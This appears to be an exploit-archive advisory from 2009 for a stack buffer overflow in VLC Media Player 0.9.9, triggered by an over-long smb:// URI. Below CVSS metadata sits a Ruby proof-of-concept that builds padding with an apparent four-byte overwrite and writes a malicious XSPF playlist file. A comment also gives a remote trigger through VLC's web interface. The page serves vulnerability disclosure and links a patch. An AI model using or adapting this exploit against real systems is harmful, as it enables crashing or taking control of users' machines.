VideoLAN VLC Media Player 0.9.9 smb:// URI Stack BOF PoC

2009.07.21
Credit: Trancer
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/ruby # VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept) # # Bugtraq ID: 35500 # # The vulnerability can also be triggered via the VLC web interface (disabled by default): # http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............ # # Patch: # http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f # # Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest). # # Trancer # http://www.rec-sec.com foo = "A" * 58 bar = "B" * 4 baz = "C" * 1000 b00m = foo + bar + baz xspf = %Q|<?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/"> <title>Playlist</title> <trackList> <track> <location>smb://foo.com@www.foo.com/foo/#{b00m}</location> <extension application="http://www.videolan.org/vlc/playlist/0"> <vlc:id>0</vlc:id> </extension> </track> </trackList> </playlist> | playlist = File.new("vlc_smb.xspf","wb") playlist.write(xspf) playlist.close


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